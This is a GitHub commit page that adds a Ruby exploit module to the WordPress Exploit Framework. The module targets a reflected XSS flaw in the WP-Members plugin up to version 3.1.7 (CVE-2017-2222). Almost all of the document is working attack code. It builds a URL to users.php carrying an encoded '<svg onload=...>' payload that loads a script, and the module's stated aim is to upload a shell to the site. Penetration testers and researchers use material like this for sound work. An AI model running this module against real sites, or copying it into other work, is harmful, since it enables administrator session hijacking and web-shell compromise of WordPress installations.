Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 6e27aac

Browse files
committed
Add WP-Members <= 3.1.7 reflected XSS shell upload
1 parent 96ff5eb commit 6e27aac

File tree

1 file changed

+37
-0
lines changed

1 file changed

+37
-0
lines changed
Lines changed: 37 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,37 @@
1+
class Wpxf::Exploit::WpMembersReflectedXssShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::ReflectedXss
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'WP-Members <= 3.1.7 Reflected XSS Shell Upload',
9+
author: [
10+
'Chris Liu', # Discovery
11+
'Rob Carr <rob[at]rastating.com>' # WPXF module
12+
],
13+
references: [
14+
['WPVDB', '8858'],
15+
['CVE', '2017-2222'],
16+
['URL', 'https://jvn.jp/en/jp/JVN51355647/index.html']
17+
],
18+
date: 'Jul 13 2017'
19+
)
20+
end
21+
22+
def check
23+
check_plugin_version_from_readme('wp-members', '3.1.8')
24+
end
25+
26+
def vulnerable_url
27+
normalize_uri(wordpress_url_admin, 'users.php')
28+
end
29+
30+
def url_payload
31+
url_encode("<svg onload=#{xss_ascii_encoded_include_script}>")
32+
end
33+
34+
def url_with_xss
35+
"#{vulnerable_url}?activated=#{url_payload}"
36+
end
37+
end

0 commit comments

Comments
 (0)